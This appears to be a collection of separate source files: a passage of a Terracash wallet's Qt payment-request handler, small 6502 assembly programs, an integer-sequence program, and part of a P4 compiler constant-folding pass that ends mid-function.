QString certFile = QString::fromStdString(gArgs.GetArg("-rootcertificates", "-system-"));
// Empty store
if (certFile.isEmpty()) {
qDebug() << QString("PaymentServer::%1: Payment request authentication via X.509 certificates disabled.").arg(__func__);
return;
}
QList<QSslCertificate> certList;
if (certFile != "-system-") {
qDebug() << QString("PaymentServer::%1: Using \"%2\" as trusted root certificate.").arg(__func__).arg(certFile);
certList = QSslCertificate::fromPath(certFile);
// Use those certificates when fetching payment requests, too:
QSslSocket::setDefaultCaCertificates(certList);
} else
certList = QSslSocket::systemCaCertificates();
int nRootCerts = 0;
const QDateTime currentTime = QDateTime::currentDateTime();
for (const QSslCertificate& cert : certList) {
// Don't log NULL certificates
if (cert.isNull())
continue;
// Not yet active/valid, or expired certificate
if (currentTime < cert.effectiveDate() || currentTime > cert.expiryDate()) {
ReportInvalidCertificate(cert);
continue;
}
#if QT_VERSION >= 0x050000
// Blacklisted certificate
if (cert.isBlacklisted()) {
ReportInvalidCertificate(cert);
continue;
}
#endif
QByteArray certData = cert.toDer();
const unsigned char *data = (const unsigned char *)certData.data();
std::unique_ptr<X509, X509Deleter> x509(d2i_X509(0, &data, certData.size()));
if (x509 && X509_STORE_add_cert(certStore.get(), x509.get()))
{
// Note: X509_STORE increases the reference count to the X509 object,
// we still have to release our reference to it.
++nRootCerts;
}
else
{
ReportInvalidCertificate(cert);
continue;
}
}
qWarning() << "PaymentServer::LoadRootCAs: Loaded " << nRootCerts << " root certificates";
// Project for another day:
// Fetch certificate revocation lists, and add them to certStore.
// Issues to consider:
// performance (start a thread to fetch in background?)
// privacy (fetch through tor/proxy so IP address isn't revealed)
// would it be easier to just use a compiled-in blacklist?
// or use Qt's blacklist?
// "certificate stapling" with server-side caching is more efficient
}
//
// Sending to the server is done synchronously, at startup.
// If the server isn't already running, startup continues,
// and the items in savedPaymentRequest will be handled
// when uiReady() is called.
//
// Warning: ipcSendCommandLine() is called early in init,
// so don't use "Q_EMIT message()", but "QMessageBox::"!
//
void PaymentServer::ipcParseCommandLine(int argc, char* argv[])
{
for (int i = 1; i < argc; i++)
{
QString arg(argv[i]);
if (arg.startsWith("-"))
continue;
// If the bitcoin: URI contains a payment request, we are not able to detect the
// network as that would require fetching and parsing the payment request.
// That means clicking such an URI which contains a testnet payment request
// will start a mainnet instance and throw a "wrong network" error.
if (arg.startsWith(BITCOIN_IPC_PREFIX, Qt::CaseInsensitive)) // bitcoin: URI
{
savedPaymentRequests.append(arg);
SendCoinsRecipient r;
if (GUIUtil::parseBitcoinURI(arg, &r) && !r.address.isEmpty())
{
CBitcoinAddress address(r.address.toStdString());
auto tempChainParams = CreateChainParams(CBaseChainParams::MAIN);
if (address.IsValid(*tempChainParams))
{
SelectParams(CBaseChainParams::MAIN);
}
else {
tempChainParams = CreateChainParams(CBaseChainParams::TESTNET);
if (address.IsValid(*tempChainParams))
SelectParams(CBaseChainParams::TESTNET);
}
}
}
else if (QFile::exists(arg)) // Filename
{
savedPaymentRequests.append(arg);
PaymentRequestPlus request;
if (readPaymentRequestFromFile(arg, request))
{
if (request.getDetails().network() == "main")
{
SelectParams(CBaseChainParams::MAIN);
}
else if (request.getDetails().network() == "test")
{
SelectParams(CBaseChainParams::TESTNET);
}
}
}
else
{
// Printing to debug.log is about the best we can do here, the
// GUI hasn't started yet so we can't pop up a message box.
qWarning() << "PaymentServer::ipcSendCommandLine: Payment request file does not exist: " << arg;
}
}
}
//
// Sending to the server is done synchronously, at startup.
// If the server isn't already running, startup continues,
// and the items in savedPaymentRequest will be handled
// when uiReady() is called.
//
bool PaymentServer::ipcSendCommandLine()
{
bool fResult = false;
for (const QString& r : savedPaymentRequests)
{
QLocalSocket* socket = new QLocalSocket();
socket->connectToServer(ipcServerName(), QIODevice::WriteOnly);
if (!socket->waitForConnected(BITCOIN_IPC_CONNECT_TIMEOUT))
{
delete socket;
socket = nullptr;
return false;
}
QByteArray block;
QDataStream out(&block, QIODevice::WriteOnly);
out.setVersion(QDataStream::Qt_4_0);
out << r;
out.device()->seek(0);
socket->write(block);
socket->flush();
socket->waitForBytesWritten(BITCOIN_IPC_CONNECT_TIMEOUT);
socket->disconnectFromServer();
delete socket;
socket = nullptr;
fResult = true;
}
return fResult;
}
PaymentServer::PaymentServer(QObject* parent, bool startLocalServer) :
QObject(parent),
saveURIs(true),
uriServer(0),
netManager(0),
optionsModel(0)
{
// Verify that the version of the library that we linked against is
// compatible with the version of the headers we compiled against.
GOOGLE_PROTOBUF_VERIFY_VERSION;
// Install global event filter to catch QFileOpenEvents
// on Mac: sent when you click bitcoin: links
// other OSes: helpful when dealing with payment request files
if (parent)
parent->installEventFilter(this);
QString name = ipcServerName();
// Clean up old socket leftover from a crash:
QLocalServer::removeServer(name);
if (startLocalServer)
{
uriServer = new QLocalServer(this);
if (!uriServer->listen(name)) {
// constructor is called early in init, so don't use "Q_EMIT message()" here
QMessageBox::critical(0, tr("Payment request error"),
tr("Cannot start terracash: click-to-pay handler"));
}
else {
connect(uriServer, SIGNAL(newConnection()), this, SLOT(handleURIConnection()));
connect(this, SIGNAL(receivedPaymentACK(QString)), this, SLOT(handlePaymentACK(QString)));
}
}
}
PaymentServer::~PaymentServer()
{
google::protobuf::ShutdownProtobufLibrary();
}
//
// OSX-specific way of handling bitcoin: URIs and PaymentRequest mime types.
// Also used by paymentservertests.cpp and when opening a payment request file
// via "Open URI..." menu entry.
//
bool PaymentServer::eventFilter(QObject *object, QEvent *event)
{
if (event->type() == QEvent::FileOpen) {
QFileOpenEvent *fileEvent = static_cast<QFileOpenEvent*>(event);
if (!fileEvent->file().isEmpty())
handleURIOrFile(fileEvent->file());
else if (!fileEvent->url().isEmpty())
handleURIOrFile(fileEvent->url().toString());
return true;
}
return QObject::eventFilter(object, event);
}
void PaymentServer::initNetManager()
{
if (!optionsModel)
return;
if (netManager != nullptr)
delete netManager;
// netManager is used to fetch paymentrequests given in bitcoin: URIs
netManager = new QNetworkAccessManager(this);
QNetworkProxy proxy;
// Query active SOCKS5 proxy
if (optionsModel->getProxySettings(proxy)) {
netManager->setProxy(proxy);
qDebug() << "PaymentServer::initNetManager: Using SOCKS5 proxy" << proxy.hostName() << ":" << proxy.port();
}
else
qDebug() << "PaymentServer::initNetManager: No active proxy server found.";
connect(netManager, SIGNAL(finished(QNetworkReply*)),
this, SLOT(netRequestFinished(QNetworkReply*)));
connect(netManager, SIGNAL(sslErrors(QNetworkReply*, const QList<QSslError> &)),
this, SLOT(reportSslErrors(QNetworkReply*, const QList<QSslError> &)));
}
void PaymentServer::uiReady()
{
initNetManager();
saveURIs = false;
for (const QString& s : savedPaymentRequests)
{
handleURIOrFile(s);
}
savedPaymentRequests.clear();
}
void PaymentServer::handleURIOrFile(const QString& s)
{
if (saveURIs)
{
savedPaymentRequests.append(s);
return;
}
if (s.startsWith(BITCOIN_IPC_PREFIX, Qt::CaseInsensitive)) // bitcoin: URI
{
#if QT_VERSION < 0x050000
QUrl uri(s);
#else
QUrlQuery uri((QUrl(s)));
#endif
if (uri.hasQueryItem("r")) // payment request URI
{
QByteArray temp;
temp.append(uri.queryItemValue("r"));
QString decoded = QUrl::fromPercentEncoding(temp);
QUrl fetchUrl(decoded, QUrl::StrictMode);
if (fetchUrl.isValid())
{
qDebug() << "PaymentServer::handleURIOrFile: fetchRequest(" << fetchUrl << ")";
fetchRequest(fetchUrl);
}
else
{
qWarning() << "PaymentServer::handleURIOrFile: Invalid URL: " << fetchUrl;
Q_EMIT message(tr("URI handling"),
tr("Payment request fetch URL is invalid: %1").arg(fetchUrl.toString()),
CClientUIInterface::ICON_WARNING);
}
return;
}
else // normal URI
{
SendCoinsRecipient recipient;
if (GUIUtil::parseBitcoinURI(s, &recipient))
{
CBitcoinAddress address(recipient.address.toStdString());
if (!address.IsValid()) {
Q_EMIT message(tr("URI handling"), tr("Invalid payment address %1").arg(recipient.address),
CClientUIInterface::MSG_ERROR);
}
else
Q_EMIT receivedPaymentRequest(recipient);
}
else
Q_EMIT message(tr("URI handling"),
tr("URI cannot be parsed! This can be caused by an invalid Terracash address or malformed URI parameters."),
CClientUIInterface::ICON_WARNING);
return;
}
}
if (QFile::exists(s)) // payment request file
{
PaymentRequestPlus request;
SendCoinsRecipient recipient;
if (!readPaymentRequestFromFile(s, request))
{
Q_EMIT message(tr("Payment request file handling"),
tr("Payment request file cannot be read! This can be caused by an invalid payment request file."),
CClientUIInterface::ICON_WARNING);
}
else if (processPaymentRequest(request, recipient))
Q_EMIT receivedPaymentRequest(recipient);
return;
}
}
void PaymentServer::handleURIConnection()
{
QLocalSocket *clientConnection = uriServer->nextPendingConnection();
while (clientConnection->bytesAvailable() < (int)sizeof(quint32))
clientConnection->waitForReadyRead();
connect(clientConnection, SIGNAL(disconnected()),
clientConnection, SLOT(deleteLater()));
QDataStream in(clientConnection);
in.setVersion(QDataStream::Qt_4_0);
if (clientConnection->bytesAvailable() < (int)sizeof(quint16)) {
return;
}
QString msg;
in >> msg;
handleURIOrFile(msg);
}
//
// Warning: readPaymentRequestFromFile() is used in ipcSendCommandLine()
// so don't use "Q_EMIT message()", but "QMessageBox::"!
//
bool PaymentServer::readPaymentRequestFromFile(const QString& filename, PaymentRequestPlus& request)
{
QFile f(filename);
if (!f.open(QIODevice::ReadOnly)) {
qWarning() << QString("PaymentServer::%1: Failed to open %2").arg(__func__).arg(filename);
return false;
}
// BIP70 DoS protection
if (!verifySize(f.size())) {
return false;
}
QByteArray data = f.readAll();
return request.parse(data);
}
bool PaymentServer::processPaymentRequest(const PaymentRequestPlus& request, SendCoinsRecipient& recipient)
{
if (!optionsModel)
return false;
if (request.IsInitialized()) {
// Payment request network matches client network?
if (!verifyNetwork(request.getDetails())) {
Q_EMIT message(tr("Payment request rejected"), tr("Payment request network doesn't match client network."),
CClientUIInterface::MSG_ERROR);
return false;
}
// Make sure any payment requests involved are still valid.
// This is re-checked just before sending coins in WalletModel::sendCoins().
if (verifyExpired(request.getDetails())) {
Q_EMIT message(tr("Payment request rejected"), tr("Payment request expired."),
CClientUIInterface::MSG_ERROR);
return false;
}
} else {
Q_EMIT message(tr("Payment request error"), tr("Payment request is not initialized."),
CClientUIInterface::MSG_ERROR);
return false;
}
recipient.paymentRequest = request;
recipient.message = GUIUtil::HtmlEscape(request.getDetails().memo());
request.getMerchant(certStore.get(), recipient.authenticatedMerchant);
QList<std::pair<CScript, CAmount> > sendingTos = request.getPayTo();
QStringList addresses;
for (const std::pair<CScript, CAmount>& sendingTo : sendingTos) {
// Extract and check destination addresses
CTxDestination dest;
if (ExtractDestination(sendingTo.first, dest)) {
// Append destination address
addresses.append(QString::fromStdString(CBitcoinAddress(dest).ToString()));
}
else if (!recipient.authenticatedMerchant.isEmpty()) {
// Unauthenticated payment requests to custom bitcoin addresses are not supported
// (there is no good way to tell the user where they are paying in a way they'd
// have a chance of understanding).
Q_EMIT message(tr("Payment request rejected"),
tr("Unverified payment requests to custom payment scripts are unsupported."),
CClientUIInterface::MSG_ERROR);
return false;
}
// Bitcoin amounts are stored as (optional) uint64 in the protobuf messages (see paymentrequest.proto),
// but CAmount is defined as int64_t. Because of that we need to verify that amounts are in a valid range
// and no overflow has happened.
if (!verifyAmount(sendingTo.second)) {
Q_EMIT message(tr("Payment request rejected"), tr("Invalid payment request."), CClientUIInterface::MSG_ERROR);
return false;
}
// Extract and check amounts
CTxOut txOut(sendingTo.second, sendingTo.first);
if (IsDust(txOut, ::dustRelayFee)) {
Q_EMIT message(tr("Payment request error"), tr("Requested payment amount of %1 is too small (considered dust).")
.arg(BitcoinUnits::formatWithUnit(optionsModel->getDisplayUnit(), sendingTo.second)),
CClientUIInterface::MSG_ERROR);
return false;
}
recipient.amount += sendingTo.second;
// Also verify that the final amount is still in a valid range after adding additional amounts.
if (!verifyAmount(recipient.amount)) {
Q_EMIT message(tr("Payment request rejected"), tr("Invalid payment request."), CClientUIInterface::MSG_ERROR);
return false;
}
}
// Store addresses and format them to fit nicely into the GUI
recipient.address = addresses.join("<br />");
if (!recipient.authenticatedMerchant.isEmpty()) {
qDebug() << "PaymentServer::processPaymentRequest: Secure payment request from " << recipient.authenticatedMerchant;
}
else {
qDebug() << "PaymentServer::processPaymentRequest: Insecure payment request to " << addresses.join(", ");
}
return true;
}
void PaymentServer::fetchRequest(const QUrl& url)
{
QNetworkRequest netRequest;
netRequest.setAttribute(QNetworkRequest::User, BIP70_MESSAGE_PAYMENTREQUEST);
netRequest.setUrl(url);
netRequest.setRawHeader("User-Agent", CLIENT_NAME.c_str());
netRequest.setRawHeader("Accept", BIP71_MIMETYPE_PAYMENTREQUEST);
netManager->get(netRequest);
}
void PaymentServer::fetchPaymentACK(CWallet* wallet, SendCoinsRecipient recipient, QByteArray transaction)
{
const payments::PaymentDetails& details = recipient.paymentRequest.getDetails();
if (!details.has_payment_url())
return;
QNetworkRequest netRequest;
netRequest.setAttribute(QNetworkRequest::User, BIP70_MESSAGE_PAYMENTACK);
netRequest.setUrl(QString::fromStdString(details.payment_url()));
netRequest.setHeader(QNetworkRequest::ContentTypeHeader, BIP71_MIMETYPE_PAYMENT);
netRequest.setRawHeader("User-Agent", CLIENT_NAME.c_str());
netRequest.setRawHeader("Accept", BIP71_MIMETYPE_PAYMENTACK);
payments::Payment payment;
payment.set_merchant_data(details.merchant_data());
payment.add_transactions(transaction.data(), transaction.size());
// Create a new refund address, or re-use:
QString account = tr("Refund from %1").arg(recipient.authenticatedMerchant);
std::string strAccount = account.toStdString();
std::set<CTxDestination> refundAddresses = wallet->GetAccountAddresses(strAccount);
if (!refundAddresses.empty()) {
CScript s = GetScriptForDestination(*refundAddresses.begin());
payments::Output* refund_to = payment.add_refund_to();
refund_to->set_script(&s[0], s.size());
}
else {
CPubKey newKey;
if (wallet->GetKeyFromPool(newKey)) {
CKeyID keyID = newKey.GetID();
wallet->SetAddressBook(keyID, strAccount, "refund");
CScript s = GetScriptForDestination(keyID);
payments::Output* refund_to = payment.add_refund_to();
refund_to->set_script(&s[0], s.size());
}
else {
// This should never happen, because sending coins should have
// just unlocked the wallet and refilled the keypool.
qWarning() << "PaymentServer::fetchPaymentACK: Error getting refund key, refund_to not set";
}
}
int length = payment.ByteSize();
netRequest.setHeader(QNetworkRequest::ContentLengthHeader, length);
QByteArray serData(length, '\0');
if (payment.SerializeToArray(serData.data(), length)) {
netManager->post(netRequest, serData);
}
else {
// This should never happen, either.
qWarning() << "PaymentServer::fetchPaymentACK: Error serializing payment message";
}
}
void PaymentServer::netRequestFinished(QNetworkReply* reply)
{
reply->deleteLater();
// BIP70 DoS protection
if (!verifySize(reply->size())) {
Q_EMIT message(tr("Payment request rejected"),
tr("Payment request %1 is too large (%2 bytes, allowed %3 bytes).")
.arg(reply->request().url().toString())
.arg(reply->size())
.arg(BIP70_MAX_PAYMENTREQUEST_SIZE),
CClientUIInterface::MSG_ERROR);
return;
}
if (reply->error() != QNetworkReply::NoError) {
QString msg = tr("Error communicating with %1: %2")
.arg(reply->request().url().toString())
.arg(reply->errorString());
qWarning() << "PaymentServer::netRequestFinished: " << msg;
Q_EMIT message(tr("Payment request error"), msg, CClientUIInterface::MSG_ERROR);
return;
}
QByteArray data = reply->readAll();
QString requestType = reply->request().attribute(QNetworkRequest::User).toString();
if (requestType == BIP70_MESSAGE_PAYMENTREQUEST)
{
PaymentRequestPlus request;
SendCoinsRecipient recipient;
if (!request.parse(data))
{
qWarning() << "PaymentServer::netRequestFinished: Error parsing payment request";
Q_EMIT message(tr("Payment request error"),
tr("Payment request cannot be parsed!"),
CClientUIInterface::MSG_ERROR);
}
else if (processPaymentRequest(request, recipient))
Q_EMIT receivedPaymentRequest(recipient);
return;
}
else if (requestType == BIP70_MESSAGE_PAYMENTACK)
{
payments::PaymentACK paymentACK;
if (!paymentACK.ParseFromArray(data.data(), data.size()))
{
QString msg = tr("Bad response from server %1")
.arg(reply->request().url().toString());
qWarning() << "PaymentServer::netRequestFinished: " << msg;
Q_EMIT message(tr("Payment request error"), msg, CClientUIInterface::MSG_ERROR);
}
else
{
Q_EMIT receivedPaymentACK(GUIUtil::HtmlEscape(paymentACK.memo()));
}
}
}
void PaymentServer::reportSslErrors(QNetworkReply* reply, const QList<QSslError> &errs)
{
Q_UNUSED(reply);
QString errString;
for (const QSslError& err : errs) {
qWarning() << "PaymentServer::reportSslErrors: " << err;
errString += err.errorString() + "\n";
}
Q_EMIT message(tr("Network request error"), errString, CClientUIInterface::MSG_ERROR);
}
void PaymentServer::setOptionsModel(OptionsModel *_optionsModel)
{
this->optionsModel = _optionsModel;
}
void PaymentServer::handlePaymentACK(const QString& paymentACKMsg)
{
// currently we don't further process or store the paymentACK message
Q_EMIT message(tr("Payment acknowledged"), paymentACKMsg, CClientUIInterface::ICON_INFORMATION | CClientUIInterface::MODAL);
}
bool PaymentServer::verifyNetwork(const payments::PaymentDetails& requestDetails)
{
bool fVerified = requestDetails.network() == Params().NetworkIDString();
if (!fVerified) {
qWarning() << QString("PaymentServer::%1: Payment request network \"%2\" doesn't match client network \"%3\".")
.arg(__func__)
.arg(QString::fromStdString(requestDetails.network()))
.arg(QString::fromStdString(Params().NetworkIDString()));
}
return fVerified;
}
bool PaymentServer::verifyExpired(const payments::PaymentDetails& requestDetails)
{
bool fVerified = (requestDetails.has_expires() && (int64_t)requestDetails.expires() < GetTime());
if (fVerified) {
const QString requestExpires = QString::fromStdString(DateTimeStrFormat("%Y-%m-%d %H:%M:%S", (int64_t)requestDetails.expires()));
qWarning() << QString("PaymentServer::%1: Payment request expired \"%2\".")
.arg(__func__)
.arg(requestExpires);
}
return fVerified;
}
bool PaymentServer::verifySize(qint64 requestSize)
{
bool fVerified = (requestSize <= BIP70_MAX_PAYMENTREQUEST_SIZE);
if (!fVerified) {
qWarning() << QString("PaymentServer::%1: Payment request too large (%2 bytes, allowed %3 bytes).")
.arg(__func__)
.arg(requestSize)
.arg(BIP70_MAX_PAYMENTREQUEST_SIZE);
}
return fVerified;
}
bool PaymentServer::verifyAmount(const CAmount& requestAmount)
{
bool fVerified = MoneyRange(requestAmount);
if (!fVerified) {
qWarning() << QString("PaymentServer::%1: Payment request amount out of allowed range (%2, allowed 0 - %3).")
.arg(__func__)
.arg(requestAmount)
.arg(MAX_MONEY);
}
return fVerified;
}
X509_STORE* PaymentServer::getCertStore()
{
return certStore.get();
}
|
PROCESSOR 6502
INCLUDE "vcs.h"
INCLUDE "macro.h"
SEG code
ORG $F000 ; ROM begin
START:
CLEAN_START ; macro -> clear mem
;;;;;;; BG color luminosity to yellow ;;;;;;;
lda #$1E ; set A = NTSC yellow code
sta COLUBK ; set BG color to yellow
jmp START ; loop START
END:
org $FFFC ; Set pos to cartrigde END
.word START ; add Start -> Reset vector => FFFC
.word START ; add Start once more (interrupt) => FFFE
|
; A140081: Period 4: repeat [0, 1, 1, 2].
; 0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1,2,0,1,1
mod $0,4
mov $1,1
add $1,$0
div $1,2
mov $0,$1
|
sec
lda {m2}
eor #$ff
adc #$0
sta {m1}
lda {m2}+1
eor #$ff
adc #$0
sta {m1}+1
lda {m2}+2
eor #$ff
adc #$0
sta {m1}+2
lda {m2}+3
eor #$ff
adc #$0
sta {m1}+3
|
/*
Copyright 2013-present Barefoot Networks, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include "lib/gmputil.h"
#include "constantFolding.h"
#include "ir/configuration.h"
#include "frontends/p4/enumInstance.h"
namespace P4 {
class CloneConstants : public Transform {
public:
CloneConstants() = default;
const IR::Node* postorder(IR::Constant* constant) override {
// We clone the constant. This is necessary because the same
// the type associated with the constant may participate in
// type unification, and thus we want to have different type
// objects for different constant instances.
const IR::Type* type = constant->type;
if (type->is<IR::Type_Bits>()) {
type = constant->type->clone();
} else if (auto ii = type->to<IR::Type_InfInt>()) {
// You can't just clone a InfInt value, because
// you get the same declid. We want a new declid.
type = new IR::Type_InfInt(ii->srcInfo);
} else {
BUG("unexpected type %2% for constant %2%", type, constant);
}
return new IR::Constant(constant->srcInfo, type, constant->value, constant->base);
}
static const IR::Expression* clone(const IR::Expression* expression) {
return expression->apply(CloneConstants())->to<IR::Expression>();
}
};
const IR::Expression* DoConstantFolding::getConstant(const IR::Expression* expr) const {
CHECK_NULL(expr);
if (expr->is<IR::Constant>())
return expr;
if (expr->is<IR::BoolLiteral>())
return expr;
if (auto list = expr->to<IR::ListExpression>()) {
for (auto e : list->components)
if (getConstant(e) == nullptr)
return nullptr;
return expr;
} else if (auto si = expr->to<IR::StructExpression>()) {
for (auto e : si->components)
if (getConstant(e->expression) == nullptr)
return nullptr;
return expr;
} else if (auto cast = expr->to<IR::Cast>()) {
// Casts of a constant to a value with type Type_Newtype
// are constants, but we cannot fold them.
if (getConstant(cast->expr))
return CloneConstants::clone(expr);
return nullptr;
}
if (typesKnown) {
auto ei = EnumInstance::resolve(expr, typeMap);
if (ei != nullptr)
return expr;
}
return nullptr;
}
const IR::Node* DoConstantFolding::postorder(IR::PathExpression* e) {
if (refMap == nullptr || assignmentTarget)
return e;
auto decl = refMap->getDeclaration(e->path);
if (decl == nullptr)
return e;
if (auto dc = decl->to<IR::Declaration_Constant>()) {
auto cst = get(constants, dc);
if (cst == nullptr)
return e;
if (cst->is<IR::ListExpression>()) {
if (!typesKnown)
// We don't want to commit to this value before we do
// type checking; maybe it's wrong.
return e;
}
return CloneConstants::clone(cst);
}
return e;
}
const IR::Node* DoConstantFolding::postorder(IR::Type_Bits* type) {
if (type->expression != nullptr) {
if (auto cst = type->expression->to<IR::Constant>()) {
type->size = cst->asInt();
type->expression = nullptr;
if (type->size <= 0) {
::error(ErrorType::ERR_INVALID, "%1%: invalid type size", type);
// Convert it to something legal so we don't get
// weird errors elsewhere.
type->size = 64;
}
} else {
::error(ErrorType::ERR_EXPECTED, "%1%: expected a constant", type->expression);
}
}
return type;
}
const IR::Node* DoConstantFolding::postorder(IR::Type_Varbits* type) {
if (type->expression != nullptr) {
if (auto cst = type->expression->to<IR::Constant>()) {
type->size = cst->asInt();
type->expression = nullptr;
if (type->size <= 0)
::error(ErrorType::ERR_INVALID, "%1%: invalid type size", type);
} else {
::error(ErrorType::ERR_EXPECTED, "%1%: expected a constant", type->expression);
}
}
return type;
}
const IR::Node* DoConstantFolding::postorder(IR::Declaration_Constant* d) {
auto init = getConstant(d->initializer);
if (init == nullptr) {
if (typesKnown)
::error(ErrorType::ERR_INVALID,
"%1%: Cannot evaluate initializer for constant", d->initializer);
return d;
}
if (!typesKnown) {
// This declaration may imply a cast, so the actual value of d
// is not init, but (d->type)init. The typechecker inserts
// casts, but if we run this before typechecking we have to be
// more conservative.
if (auto cst = init->to<IR::Constant>()) {
if (auto dtype = d->type->to<IR::Type_Bits>()) {
auto cstBits = cst->type->to<IR::Type_Bits>();
if (cstBits && !(*dtype == *cstBits))
::error(ErrorType::ERR_TYPE_ERROR, "%1%: initializer has wrong type %2%",
d, cst->type);
else if (cst->type->is<IR::Type_InfInt>())
init = new IR::Constant(init->srcInfo, d->type, cst->value, cst->base);
} else if (!d->type->is<IR::Type_InfInt>()) {
// Don't fold this yet, we can't evaluate the cast.
return d;
}
}
if (init != d->initializer)
d = new IR::Declaration_Constant(d->srcInfo, d->name, d->annotations, d->type, init);
}
if (!typesKnown && init->is<IR::StructExpression>())
// If we substitute structs before type checking we may lose casts
// e.g. struct S { bit<8> x; }
// const S s = { x = 1024 };
// const bit<16> z = (bit<16>)s.x;
// If we substitute this too early we may get a value of 1024 for z.
return d;
LOG3("Constant " << d << " set to " << init);
constants.emplace(getOriginal<IR::Declaration_Constant>(), init);
return d;
}
const IR::Node* DoConstantFolding::preorder(IR::AssignmentStatement* statement) {
assignmentTarget = true;
visit(statement->left);
assignmentTarget = false;
visit(statement->right);
prune();
return statement;
}
const IR::Node* DoConstantFolding::preorder(IR::ArrayIndex* e) {
visit(e->left);
bool save = assignmentTarget;
assignmentTarget = false;
visit(e->right);
assignmentTarget = save;
prune();
return e;
}
const IR::Node* DoConstantFolding::postorder(IR::Cmpl* e) {
auto op = getConstant(e->expr);
if (op == nullptr)
return e;
auto cst = op->to<IR::Constant>();
if (cst == nullptr) {
::error(ErrorType::ERR_EXPECTED, "%1%: expected an integer value", op);
return e;
}
const IR::Type* t = op->type;
if (t->is<IR::Type_InfInt>()) {
::error(ErrorType::ERR_INVALID,
"%1%: Operation cannot be applied to values with unknown width;\n"
"please specify width explicitly", e);
return e;
}
auto tb = t->to<IR::Type_Bits>();
if (tb == nullptr) {
// This could be a serEnum value
return e;
}
big_int value = ~cst->value;
return new IR::Constant(cst->srcInfo, t, value, cst->base, true);
}
const IR::Node* DoConstantFolding::postorder(IR::Neg* e) {
auto op = getConstant(e->expr);
if (op == nullptr)
return e;
auto cst = op->to<IR::Constant>();
if (cst == nullptr) {
::error(ErrorType::ERR_EXPECTED, "%1%: expected an integer value", op);
return e;
}
const IR::Type* t = op->type;
if (t->is<IR::Type_InfInt>())
return new IR::Constant(cst->srcInfo, t, -cst->value, cst->base);
auto tb = t->to<IR::Type_Bits>();
if (tb == nullptr) {
// This could be a SerEnum value
return e;
}
big_int value = -cst->value;
return new IR::Constant(cst->srcInfo, t, value, cst->base, true);
}
const IR::Constant*
DoConstantFolding::cast(const IR::Constant* node, unsigned base, const IR::Type_Bits* type) const {
return new IR::Constant(node->srcInfo, type, node->value, base);
}
const IR::Node* DoConstantFolding::postorder(IR::Add* e) {
return binary(e, [](big_int a, big_int b) -> big_int { return a + b; });
}
const IR::Node* DoConstantFolding::postorder(IR::AddSat* e) {
return binary(e, [](big_int a, big_int b) -> big_int { return a + b; }, true);
}
const IR::Node* DoConstantFolding::postorder(IR::Sub* e) {
return binary(e, [](big_int a, big_int b) -> big_int { return a - b; });
}
const IR::Node* DoConstantFolding::postorder(IR::SubSat* e) {
return binary(e, [](big_int a, big_int b) -> big_int { return a - b; }, true);
}
const IR::Node* DoConstantFolding::postorder(IR::Mul* e) {
return binary(e, [](big_int a, big_int b) -> big_int { return a * b; });
}
const IR::Node* DoConstantFolding::postorder(IR::BXor* e) {
return binary(e, [](big_int a, big_int b) -> big_int { return a ^ b; });
}
const IR::Node* DoConstantFolding::postorder(IR::BAnd* e) {
return binary(e, [](big_int a, big_int b) -> big_int { return a & b; });
}
const IR::Node* DoConstantFolding::postorder(IR::BOr* e) {
return binary(e, [](big_int a, big_int b) -> big_int { return a | b; });
}
const IR::Node* DoConstantFolding::postorder(IR::Equ* e) {
return compare(e);
}
const IR::Node* DoConstantFolding::postorder(IR::Neq* e) {
return compare(e);
}
const IR::Node* DoConstantFolding::postorder(IR::Lss* e) {
return binary(e, [](big_int a, big_int b) -> big_int { return a < b; });
}
const IR::Node* DoConstantFolding::postorder(IR::Grt* e) {
return binary(e, [](big_int a, big_int b) -> big_int { return a > b; });
}
const IR::Node* DoConstantFolding::postorder(IR::Leq* e) {
return binary(e, [](big_int a, big_int b) -> big_int { return a <= b; });
}
const IR::Node* DoConstantFolding::postorder(IR::Geq* e) {
return binary(e, [](big_int a, big_int b) -> big_int { return a >= b; });
}
const IR::Node* DoConstantFolding::postorder(IR::Div* e) {
return binary(e, [e](big_int a, big_int b) -> big_int {
if (a < 0 || b < 0) {
::error(ErrorType::ERR_INVALID,
"%1%: Division is not defined for negative numbers", e);
return 0;
}
if (b == 0) {
::error(ErrorType::ERR_INVALID, "%1%: Division by zero", e);
return 0;
}
return a / b;
});
}
const IR::Node* DoConstantFolding::postorder(IR::Mod* e) {
return binary(e, [e](big_int a, big_int b) -> big_int {
if (a < 0 || b < 0) {
::error(ErrorType::ERR_INVALID,
"%1%: Modulo is not defined for negative numbers", e);
return 0;
}
if (b == 0) {
::error(ErrorType::ERR_INVALID, "%1%: Modulo by zero", e);
return 0;
}
return a % b; });
}
const IR::Node* DoConstantFolding::postorder(IR::Shr* e) {
return shift(e);
}
const IR::Node* DoConstantFolding::postorder(IR::Shl* e) {
return shift(e);
}
const IR::Node*
DoConstantFolding::compare(const IR::Operation_Binary* e) {
auto eleft = getConstant(e->left);
auto eright = getConstant(e->right);
if (eleft == nullptr || eright == nullptr)
return e;
bool eqTest = e->is<IR::Equ>();
if (eleft->is<IR::BoolLiteral>()) {
auto left = eleft->to<IR::BoolLiteral>();
auto right = eright->to<IR::BoolLiteral>();
if (left == nullptr || right == nullptr) {
::error(ErrorType::ERR_INVALID, "%1%: both operands must be Boolean", e);
return e;
}
bool bresult = (left->value == right->value) == eqTest;
return new IR::BoolLiteral(e->srcInfo, bresult);
} else if (typesKnown) {
auto le = EnumInstance::resolve(eleft, typeMap);
auto re = EnumInstance::resolve(eright, typeMap);
if (le != nullptr && re != nullptr) {
BUG_CHECK(le->type == re->type,
"%1%: different enum types in comparison", e);
bool bresult = (le->name == re->name) == eqTest;
return new IR::BoolLiteral(e->srcInfo, bresult);
}
auto llist = eleft->to<IR::ListExpression>();
auto rlist = eright->to<IR::ListExpression>();
if (llist != nullptr && rlist != nullptr) {
if (llist->components.size() != rlist->components.size()) {
::error(ErrorType::ERR_INVALID, "%1%: comparing lists of different size", e);
return e;
}
